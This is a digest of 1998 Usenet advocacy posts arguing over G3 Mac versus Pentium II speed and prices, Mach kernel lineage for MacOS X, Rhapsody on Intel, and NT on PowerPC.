> > > equivalently clocked pII - but
> > > a) The fastest PC is faster than the fastest Mac
> >
> > A G3/300 pretty convincingly smokes a 400 MHz PII. Hell, my G3/233 will
> > beat a PII/400 on a helluva lot of stuff.
>
> That is such bull. A p2 300 beats a g3 233 on a helluva lot of stuff, just
> look at Joe's web page. Office apps are faster on the p2. Even photoshop is
Nope. I don't have any figures on Office apps on my page. The only thing
I've seen says that they're comparable, but no figures were given. Just
how fast does a machine need to be before it doesn't matter for a word
processor, anyway?
> ONLY a smigdeon faster ON A G3 266 than a p2 300!! See Joe's web page, its
> only about %10 faster , and thats the filters it is faster in, some are %10
> faster on the p2
Hmm. You mean the PC Magazine article where a G3/300 was 46% faster than a
PII/400?
>
>
>
> > > b) For the same *price* you will get a faster PC, alternatively
> >
> > Okay. $1499 for a G3/233 with 32 megs. Find a faster PC for that price.
> > Note that to get a machine in the same price range, you'll have to buy a
> > PII/400... which all go for a bit more money (unless you build it
> > yourself, and your time is worth zero money).
>
> You do not even know what you are talking about.
Really? Then where can you buy a name brand PII/400 for $1499?
>
>
>
> > > c) For the same "speed" the PC will be cheaper.
> >
> > Okay. G3/300. Unfortunately, there isn't a PC anywhere *near* that fast,
> > so you lose on that one, too.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 29 May 1998 08:52:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-2905980852240001@wil95.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au>
In article <6kkitl$elu$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> George Graves wrote in message ...
> >In article <6kiqjf$q38$1@nargun.cc.uq.edu.au>, "Christopher Smith"
> ><drsmithy@usa.net> wrote:
> >
> >>
> >> So where can I buy a 300Mhz G3 for $1600 ?
> >
> >Club Mac
> >
> >233MHz G3 desktop machine. 32 Megs of RAM (and your choice of either
> another
> >32 megs of RAM or VPC w Win95 for free), 24X CDROM, 4 GB. -$1599
> >This machine also comes bundled with either HomePage 3.0 or Object Dancer,
> >whichever you prefer. $1899 buys you the same package with a 266 MHz G3
> >1-800-260-5109
>
> Ok George, I'll say it again *really* slowly so you don't miss it:
> "Where can I buy a *300Mhz* G3 for $1600" (so as to be faster than a 400Mhz
> pII).
Overclock your G3/233???
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q:MacOS X's MACH 3 Question
Date: 29 May 1998 10:04:05 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6km16l$s3m$1@ns3.vrx.net>
References: <7qSa1.612$js2.604228@proxye1.san.rr.com> <6kgta8$nc0$7@ns3.vrx.net>
<D2wb1.47$Qy5.444674@proxye1.san.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: eadeans@san.rr.com
In <D2wb1.47$Qy5.444674@proxye1.san.rr.com> "Ed Deans." claimed:
> I seem to be part right and part wrong. IBM started with CMU's Mach 3 in
> late '91 (according to IBM), however they did incorporate some technology
> (real time stuff) from Mk7.0 according to the OSF website:
> <http://www.osf.org/RI/OS/index2.htm>
Yeah, I was looking over that too. And it appears that the typed ports
they incorporated was a joint effort, because they are in the OSF kernel now
from what I can see (although their docs are rather poor).
> >and specifically Apple noted that their OS emulator will run in the kernel
> >(this is a biggie for overall performance).
>
> True. Wouldn't that open up security and stability issues? Any pointers
to
> info would be appreciated.
Not that I can see, because the emulators are providing services from that
"node". Basically i can see cases where a "local" machine calls code from
the emulator which the kernel then decides to run on some other node. I
don't think this has an effect by itself - as far as Mach is concerned the
emulator is a "real" user app anyway.
> I do not know exactly what version IBM started with, I only know it was
from
> CMU in late '91 and was a Mach 3.0 build.
That being the case I think that makes it prior to the 6.x builds, which
would certainly suggest why the initally performance was poor.
> stuff from Mk 7.0, specifically real-time stuff. It was also enhanced with
> IBM's own designs for a driver architecture, getting past the IPC slowness
> from the version they began with, etc.
Another issue that's been addressed to a large degree in the 7.x kernels.
> Thanks for that performance info. IBM's design is a 'typed ports' design.
> I'm speaking strictly about release 1.0. I have been unable to locate info
> about 2.0.
Sorry, I only know stuff from the M4 project, and that OSF (apparently)
uses it too. If so I think it's safe to say that any "theoretical"
performance issues have been looked at.
> Thanks. I'll be sure to look it over. Thanks again for the OSF vs. HP-UX
> tidbit.
My pleasure.
> One of the things I'm concerned about is having some understanding of the
> massive trouble IBM had retrofitting Mach to host OS/2. I've wondered if
> MacOS X will have similar problems. Remember, IBM had demonstrable code
for
> years, then beta code and even shipped albeit for about two or three months
> only. OS/2 PowerPC edition was released.
Yup, I'm somewhat familiar with the effort. However let's remember they
had rather grandious plans for the system. This included using thesingle
kernel right from the OS/2 on the dekstop up to the RS/6000's and such, in
massive clusters. I don't know if the '91 kernels were up to the task -
remember that M4 didn't start until '91, and didn't really get results until
the '95 time frame.
I also know that there was a LOT of politics involved. Had the project
started today, who knows?
> I'm just wondering how big of a bridge need be built to span the canyon
> between OPENSTEP Mach 4.2 for PowerMac and a stable, quality MacOS X.
Good question. I think the MkLinux project has helped answer a lot of
those questions for us. MkLinux is in general somewhat slower than PPCLinux
(which is a monokernel version) but in general only on the order of 5% or so.
That overhead, combined with the blistering speed of the G3's and the much
superior IO (compared to MacOS) _should_ result in something much faster than
the current OS at least.
Maury
Date: Fri, 29 May 1998 08:43:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-2905980843410001@wil95.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com> <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net> <01bd8abf$840441a0$0b0ba8c0@woohoo> <slrn6msiac.6td.jason@jhste1.dyn.ml.org>
In article <slrn6msiac.6td.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Earl Malmrose posted the following to comp.sys.mac.advocacy:
>
> >> I believe people who use a G3 Mac CAN expect to see in real world
> >> situations.
>
> >What were your tests? Definately not POVRay, Mathematica, or Quake, for
> >those are all faster on a PII-300 (let alone a PII-400) than a G3-300.
>
> POV-Ray benchmarking is a joke; the results are so inconsistent as to be
> useless (e.g., P5-75 as fast as P-II/233). Mathematica - only if you're
That was my favorite. And not just _any_ P5/75. It was a Packard Bell
P5/75. I guess that's what the PC world uses for benchmarking.
> running Linux on your P-II (and then by only a couple of percent).
> Quake - c'mon, we all know that it's optimized for Intel procesors,
> and that the Mac port was poorly done.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Fri, 29 May 1998 08:46:01 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <356EBC18.CDC823F2@milestonerdl.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu>
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Robert Cassidy wrote:
> No, if I were Bill, I'd have a team over in a corner somewhere making PPC
> builds of NT5 just for grins. PPC still has legs. PPC can run his little
> WinCE toys.
Yup. I'd bet that the idea is the CODE is to be portable. The death of the CHRP
platform was what killed NT-PPC, imnsho.
> So I don't doubt that NT/PPC exists in some form. It's just a matter of
> getting MS to treat it differently.
On my NT4 service pack 0 there is a PPC directory.
No one has ever accused Bill Gates of being dumb. So, if the winds shift to PPC,
he will be PPC compliant.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 29 May 1998 11:40:57 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6km6s9$5sd$1@ns3.vrx.net>
References: <6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122>
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Cc: english@primenet.com
In <B1943079-ED44D@206.165.43.122> "Lawson English" claimed:
> They'd made a start with GX and QD3D.
Completely different API's, measurments etc. AFAIK. Never looked at QD3D
in depth thought. QD3D isn't based on a 16bit fixed space is it?
Maury
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 17:07:37 GMT
Message-ID: <6kmq0p$hp6$2@newsfep4.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>
<6kkj6t$9l7$1@nargun.cc.uq.edu.au> <cirby-2805981808500001@pm61-24.magicnet.net>
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PS
It looks like I will be buying a g3 233 after all, I found someone with a
used g3 233 stock who will sell it to me for $1300 including shipping.
%99 chance the guy is on the up and up, but I still have to be carefull in
case the guy is that under %1 that will try to rip you off. (the same
applies to me, as far as the seller knows I could be trying to cheat him).
By cheating or ripping off, I mean stuff such as instead of shipping a g3
ship a bunch of rocks, or my printing up a phony check and using it to pay
the cod.
Oh, and my duo 280c is working again, just have to get it a scsi ribbon
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
Date: Fri, 29 May 1998 12:29:46 -0500
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <alex-2905981229470001@208.21.174.26>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <01bd8ac0$3f8b7560$0b0ba8c0@woohoo>
Organization: Web Information Solutions---Interactive and database web design studio
In article <01bd8ac0$3f8b7560$0b0ba8c0@woohoo>, "Earl Malmrose"
<malmrose@nospam.jetcity.com> wrote:
: George Graves <gmgraves@slip.net> wrote in article
: <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>...
: >
: > G3 233MHz, 64 MB RAM, 4 GB, 24XCD = $1599
: > Cheap 400 MHz PII @ $2300
:
: Cheap, as in inexpensive. I think I'm going to get one of these:
:
: Gateway
: PII-400
: 17" monitor
: 4MB 3D AGP video card
: 64 MB ram
: 5 GB hd
: 32x cd
: x2 modem
: 10/100 ethernet
: sound card, speakers, mouse, keyboard
: $2254
I don't know why you bother...I got my G3/266 with 160MB of RAM, 4GB EIDE
HD, built in ZIP for $2000....though true, I already did have my 17'. And
that includes tax BTW.
And it was brand new. Lifetime warranty on the RAM.
--
Web Information Solutions CEO <http://www.WebIS.net>
VersaCom Chief Technology Officer <http://www.VersaCom.com>
I don't speak for my employer, which oddly enough is myself
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 10:42:35 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au>
In article <6kmn8i$ccl$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
>
> So that would mean I could overclock the pII to 533 as well (to be fair)
You could, IF you found some way to liquid nitrogen cool the PII and if you
beefed up the power supply to supply all the current such a 'clocked' PII
would require (and dissipate as heat).
George Graves
Date: Fri, 29 May 1998 10:49:51 -0700
From: jak@asu.edu (John Kestner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Message-ID: <jak-2905981049520001@adialup109.phnx.uswest.net>
References: <jak-2805981110120001@fdialup162.phnx.uswest.net> <B19310E3-26E8D@206.165.43.179>
Organization: Blues Industrial
pDC?^;F326tzhE*=nKWFfDW[,&
In article <B19310E3-26E8D@206.165.43.179>, "Lawson English"
<english@primenet.com> wrote:
>John Kestner <jak@asu.edu> said:
>
>>I'm primarily a graphic designer, and while editable text after applying
>>effects is nice (ala Photoshop 5), I can't see why anyone would want 3D
>>perspective editable text so badly. If you actually felt the need for 3D
>>text (which should be rare), editability wouldn't be a big problem since
>>it would only be used in titles. And is perspective so important? What's
>>wrong with a simple drop shadow?
>
>I think that you've misunderstand what I've been talking about.
>
>
> Think
> Star Wars
> Think Kool effects
>And Use the Force, Luke
...and a light comes on. Okay, that's more reasonable. For some reason, I
was thinking extruded 3D text. I'll take it back; I'd find editable
perspective text useful.
back under my rock,
john
--
We live only to discover beauty. All else is a form of waiting. - Kahlil Gibran
jak@asu.edu - http://www.public.asu.edu/~jkestner/
From: "William Whitehouse" <garyseven@geocities.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Fri, 29 May 1998 13:38:32 -0500
Organization: The Voodoo Assassination Project
Message-ID: <6kmv1u$ito$1@news10.ispnews.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
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NNTP-Posting-Date: 29 May 1998 18:33:34 GMT
In article <356e6a40.0@news.camtech.net.au>, "timothyp@tne.net.au"
<timothyp@tne.net.au> wrote:
>In article <6kkeug$j55$1@news10.ispnews.com> , "William Whitehouse"
><garyseven@geocities.com> wrote:
>
>>
>>In article <356a268e.0@news.camtech.net.au>, "timothyp@tne.net.au"
>><timothyp@tne.net.au> wrote:
>
>>>I dont think drivers are the problem. The problem is hardware sales and Apple's
>>>survival. If Apple opens up to Intel hardware then there main source of revenue
>>>is going to get hammered. Why??? Because people are cheap and like to buy cheap
>>>things.
>>
>>How is Apple's hardware business going to get hammered any more than it is
>>now? People who are dedicated to the PPC have already bought into the PPC.
>>People who don't aren't going to be convinced by the unavailability of
>>Rhapsody/MacOS X for their PC to buy a PPC Mac just to be able to run it.
>
>I dont really follow your argument! Mine is this. If the average buyer can by
>Rhapsody for Macintosh or Rhapsody for PowerPC (assuming little or no legacy
>problems) a great percentage of them will go with the CHEAP option.
Agreed, but what constitutes the cheap option? The price of a new computer
is one measure of it, but also the amount of money the customer has already
sunk into their current solution comprises another, and very significant,
measure of it. Ma and Pa Consumer is, in their non-maven viewpoint, taking
far less of a chance in keeping their Intel box and running a more
efficient/
stable/easier to use OS than Windows than tossing it all and going with a
MacOS/PPC solution.
To be fair, PC owners are fairly used to upgrading their systems on a
regular
basis. But an Intel-to-PPC migration means new box, new OS, and new apps.
A Pentium-to-Pentium II upgrade means new box. Still _apparently_ cheaper/
less risk to the previous investment in that scenario as well. Apple has
its work cut out for it in breaking that cycle.
>I know
>people in pre-press who are already talking of setting up Intel Rhapsody file
>servers. Why? Because in OZ they can get closely equivalent hardware (or
>perceived as closely equivalent) MUCH cheaper. These are LONG time Mac users
>who have been fiercely loyal. This is the same reason that PC's have a dominant
>market today (not because MS has a good OS anywhere to be seen). The bottom line
>is the bottom line.
Sounds like a good reason for Apple OS technology to "open up" to Intel
processors to me, or for Apple to develop Intel Macs.
To be clear, I wasn't arguing that Apple should or shouldn't do this -
I mentioned that there are compelling reasons that would lead them not
to want to mesh with the Wintel world that closely. But Apple does have
a fundamental problem with trying to take on the Wintel world (grow its
marketshare) in promoting anything close to a proprietary solution - it has
nothing to offer in leveraging any current investment of the more
conservative Wintel owners. A Wintel to MacOS/PPC migration is a bigger
step for the vast majority of Wintel customers than most Mac apologists
are still willing to admit.
As a Mac owner and new Rhapsody developer, I'm personally hoping they
make the switch.
>>However, if you have one OS running on both platforms you have an instant
>>point of comparison for end users. Over time, the word gets out - this is
>>the way it happened for Wintel, and it's the way it will have to happen
>>for Apple.
>
>What comparison for WinTel? If you are talking about OpenStep's speed
>advantages over Windows I hate to tell you this but that info may as well go
>with the X files. Cause very few people know about it. Only dedicated NeXT
>users. I know I had no idea until I was informed 12 months ago.
That in my opinion is the main problem for Apple - not the quality of
their technology. Apple has helped to maintain an informational vacuum
for years with regards to the advantages of its own technology. Even
among those who know a valid choice exists, the Mac choice has still
too many unresolved question marks to translate into greater hardware
sales.
>>>While I would like to see RhapTel I don't want to see Apple die trying to get it
>>>to everyone (i.e. on Intel).
>>
>>Apple won't die selling RhapTel for a loss any more than MS has died selling
>>Windows at a loss. OS development is always a money-losing venture, and
>>Apple's OS development overhead is _much_ less than MSs. Apple _will_ die if it
>>doesn't expand its share of the desktop computer (hardware) market pronto.
>
>While what you say is true you are still neglecting that ****90%**** of revenues
>for Apple come from Hardware. Any sale of Rhapsody Intel that MIGHT go to
>Rhapsody PPC is going to hit Apple hard. You also neglect the fact that MS is a
>software company. Apple is not.
To be specific, Apple is both a soft and hardware company, but you're
certainly correct in that Apple's business is not the same as MS's.
When MS wants to sell an app it can always leverage its OS to do it.
When Apple wants to sell an OS, it can't leverage its hardware to do
it - it doesn't have nearly enough presence in the market to do that.
To sell boxes, it has to sell OSes, and vice versa - precisely because
of its largely proprietary product design.
At this point in time it has to do both, simultaneously, without
being able to leverage existing technologies the way that MS can.
It's far from impossible, but in any event it'll take a lot of
time that Apple doesn't have to capitalize on the current weaknesses
in Wintel technology.
>>As Apple's hardware business is its main cash cow, then why doesn't Apple
>>and MS get together in porting NT to the PPC _and_ continue to offer
>>RhapTel?
>
>
>Because MS will want a SHITE load of money to do it. Why would MS give a rats
>a... about it anyway? They have the luxury of numbers.
Agreed - that was one of the compelling reasons not to do it I
alluded to earlier. But the problem for Apple still remains - it
_has_ to make inroads into the Wintel market, and many of the
more available options to do it quickly aren't really all that
likely.
To do it, it needs a certain amount of complicity from MS, but MS
is by any account MacOS/Rhapsody Enemy #1. I suspect the current
move (if true) to remove support from Rhapsody for Intel was done
to appease this complicity from MS. Appeasing complicity from MS
was something Apple tried in the late-80s, and it got its ass
handed to it for doing so.
So, considering all this, what's the best OS solution for Apple? As
I said, to continue offering RhapTel - precisely because an intelligently
executed Hail Mary works better for Apple than appeasing MS ("one
point-of-comparison is better than none").
Also, MS does have good reasons to support NT/PPC - those reasons
just haven't MS hard enough yet.
>>That way, Apple will see a big boost in its hardware business (due to the
>>clear
>>price/performance advantages of the PPC - and assuming that Apple promotes
>>this advantage more than it is) and it will promote the PPC market share.
>>The
>>more PPC computers out there, the more potential developers for NT/PPC.
>>And,
>>as mentioned, the more opportunities for end users to directly compare the
>>price/performance of the NT/PPC solution and the Rhapsody/MacOS X/PPC
>>solution.
>
>Again, this relies on MS doing the right thing by Apple. I see no reason MS
>would do so at the expense of Intel.
MS and Intel aren't exactly comfy bedfellows anymore - they never really
were, but now they're even less so. The one (big) advantage Intel has
over the AIM partners is that it totally committed to the desktop
computer market - both IBM and Motorola are far more flaky. Case in
point: MS doesn't have to pay for promotional ads for the Intel processor,
Apple is having to pay to push PPC. It's a scandal in that IBM and Motorola
have far more resources to promote the PPC in the desktop market than
Apple does.
>>The upshot is that, while Apple obviously sees that it needs to protect its
>>hardware sales, its involvement and myopic commitment to Rhapsody/MacOS is
>>blinding it from doing precisely the things it needs to do to advance its
>>hardware business - either in abandoning the PPC and developing exclusively
>>for the IA-64, or in promoting PPC as an alternate desktop platform by
>>moving to dominant OS to it. The result is that Apple's new proprietary OS
>>strategy and
>>their hardware strategy severely compromise each other.
>
>
>Abandoning PPC would be the QUICKEST way for Apple to die. Period.
Question mark. Even taking your idea as a given, a strong case can
be made (based on historical precedent) that Apple restricting itself
exclusively to the PPC would be the second quickest way for it to die.
>People
>would simply lose faith and see no difference in buying Windows on Intel.
That's the value in playing to both sides of the fence. The NT/PPC
solution does exist, it's just been Billed for his usual competitive
reasons. Apple should be getting a clue about placating MS just from
this move alone - it needs to learn the value of extortion in MS's
case. QuickTime could be useful in this, FireWire marginally so.
>While I'm at it, why are so many people touting a chip that does not exist as
>being the holy grail? Merced *may* be great but considering Intel's track
>record I wont hold my breath. It seems like Merced is the flavour of the month
>at the moment. I hardly think that Apple should rely on a maybe chip!
For the Wintel world, Merced _is_ the holy grail. What else to they
have to look forward to, hardware-wise?
----
William Whitehouse whitehou@soltec.net
From: "William Whitehouse" <garyseven@geocities.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Fri, 29 May 1998 13:47:42 -0500
Organization: The Voodoo Assassination Project
Message-ID: <6kmvj2$jnr$1@news10.ispnews.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
<slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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NNTP-Posting-Date: 29 May 1998 18:42:42 GMT
In article <356EBC18.CDC823F2@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
>
>
>Robert Cassidy wrote:
>
>> No, if I were Bill, I'd have a team over in a corner somewhere making PPC
>> builds of NT5 just for grins. PPC still has legs. PPC can run his little
>> WinCE toys.
>
>Yup. I'd bet that the idea is the CODE is to be portable. The death of the CHRP
>platform was what killed NT-PPC, imnsho.
>
>> So I don't doubt that NT/PPC exists in some form. It's just a matter of
>> getting MS to treat it differently.
>
>On my NT4 service pack 0 there is a PPC directory.
>
>No one has ever accused Bill Gates of being dumb. So, if the winds shift to PPC,
>he will be PPC compliant.
I'm sure he knows that resurrecting NT/PPP will be key to whether
the winds shift to PPC or not.
---
William Whitehouse whitehou@soltec.net
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 18:58:15 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2905981457570001@pm61-26.magicnet.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au>
"Christopher Smith" <drsmithy@usa.net> wrote:
> So that would mean I could overclock the pII to 533 as well (to be fair).
...and spending even more money for the cooling system, or a *lot* more
money for the regular series of replacement PIIs you'd need.
You hear these wonderful stories about PII overclocking, but you don't
hear the horror stories. Especially with those cheap clones...
> That'd be requiring about a G3/350 or 400 to match it.
If you could manage it for any length of time...
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 19:03:03 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2905981502440001@pm61-26.magicnet.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com> <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net> <01bd8abf$840441a0$0b0ba8c0@woohoo>
"Earl Malmrose" <malmrose@nospam.jetcity.com> wrote:
> What were your tests? Definately not POVRay, Mathematica, or Quake, for
> those are all faster on a PII-300 (let alone a PII-400) than a G3-300.
That's an interesting point. I've been fiddling with POVRay, and I'm
getting runs on the POVRay benchmark that are about even with the
PII-300s, and I'm just using a G3/233. I think the machine they used for
the test in the POVRay chart was either running a minimal amount of RAM,
or had the optimizations set wrong. I get numbers about even with the one
in the chart by keeping POVRay under 8 megs of application RAM instead of
the 40 to 60 I've been running here.
Quake, on the other hand, is a really dog-slow port. I have some other
apps (like Nanosaur) that give better-quality graphics with more effects,
and I can't figure out how they screwed up Quake that much.
I can't speak for Mathematica, since I don't have a copy.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: "William Whitehouse" <garyseven@geocities.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Fri, 29 May 1998 14:11:33 -0500
Organization: The Voodoo Assassination Project
Message-ID: <6kn0vs$lvr$1@news10.ispnews.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
<6kkm01$p4o$1@news.idiom.com>
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NNTP-Posting-Date: 29 May 1998 19:06:36 GMT
In article <6kkm01$p4o$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com
(John C. Randolph) wrote:
> "William Whitehouse" may or may not have said:
>[snip]
>
>-> As Apple's hardware business is its main cash cow, then why doesn't Apple
>-> and MS get together in porting NT to the PPC _and_ continue to offer
>-> RhapTel?
>
>Not practical. NT is an intel-only system, because the ISV's don't bother to
>compile and test their NT apps for other CPUs.
Actually a PPC port of NT does exist - in the software vaults of MS.
It might or might not have been kept current, but it would be far
easier to keep NT/PPC current than NT/Intel.
>Take the top 100 NT apps, and
>try to find versions of them that run on NT on a DEC Alpha.
Depends on which apps are the top NT apps in your particular
area of work.
>Also, if you're giving up the compatibility for performance by buying a PPC
>or an Alpha, then you'd have to be an idiot to sacrifice the performance all
>over again by running NT.
You'd be sacrificing performance, but you'd be gaining the NT-only
apps, and potentially the customers who've already made the NT
investment. I suspect that, if NT/PPC were made available now,
the performance difference would still be a complete PR meltdown
for Intel.
>NT on anything but intel is a joke. (Okay, it's a joke on intel too, but
>it's even more of a joke when it's crippling a fast machine.)
Like OS/2 was less of a joke to many when faster chips and
memory became availble, so NT would be less of a joke to end
users if they actually had the option of running it on a
faster processor. Even when IA-64 comes out, the choice for
NT users will still be NT-on-fast-and-mature-processor-technology
vs. NT-on-presumably-fast-and-not-yet-stable-processor-technology.
>-> That way, Apple will see a big boost in its hardware business (due to the
>-> clear price/performance advantages of the PPC - and assuming that Apple
>-> promotes this advantage more than it is) and it will promote the PPC
>-> market share.
>
>Won't happen.
With MS complicity, it could. But, I agree, it won't happen in
the near future. The "if"s are too unlikely.
>
>-> The more PPC computers out there, the more potential developers for
>-> NT/PPC. And, as mentioned, the more opportunities for end users to
>-> directly compare the price/performance of the NT/PPC solution and the
>-> Rhapsody/MacOS X/PPC solution.
>
>The number of NT on PPC installations would be miniscule. People who will
>put up with NT will also put up with Intel hardware.
Why would they put up with a dog processor and a dog OS when they
could only put up with a dog OS? (made slightly less doggy because
of the performance increase)
NT still isn't Ma-and-Pa-Kettleware - most NT users are corporate
clients that could switch allegiences very quickly. I also suspect
that even most IT professionals who are building their careers on
the flakiness of NT installations would still prefer to keep their
NT admin jobs while looking better to their customers via the PPC
performance increase.
>
>-> The obvious answer to this is that MS wouldn't want into this kind of
>-> deal. Apple doesn't have control of NT/PPC, but it can still offer
>-> RhapTel. One point of comparison gives Apple more of a chance in the
>-> Wintel market than none.
>
>-> The upshot is that, while Apple obviously sees that it needs to protect
>-> its hardware sales, its involvement and myopic commitment to
>-> Rhapsody/MacOS is blinding it from doing precisely the things it needs to
>-> do to advance its hardware business - either in abandoning the PPC and
>-> developing exclusively for the IA-64, or in promoting PPC as an alternate
>-> desktop platform by moving to dominant OS to it. The result is that
>-> Apple's new proprietary OS strategy and their hardware strategy severely
>-> compromise each other.
>
>Nah. Apple loses everything if they turn into Compaq.
Actually if they did things even more like Dell and Compaq they'd
do a lot better, hardware sales-wise.
>The existing
>customers would go off and run Linux or BeOS,
What does BeOS currently have to offer most serious Mac users? Not
much in the way of serious apps, even if it is a decent OS. Same
for Linux - a Mac to Linux migration would be about as troublefree
as a Mac to NT migration. At least with NT you get more apps.
Linux is far more suited for serverware than to be a desktop
computing platform.
>or even a MacOS clone from some
>new vendor. That leaves Apple as a company with *no* unique selling
>proposition.
It's not enough to have a unique selling proposition. For many
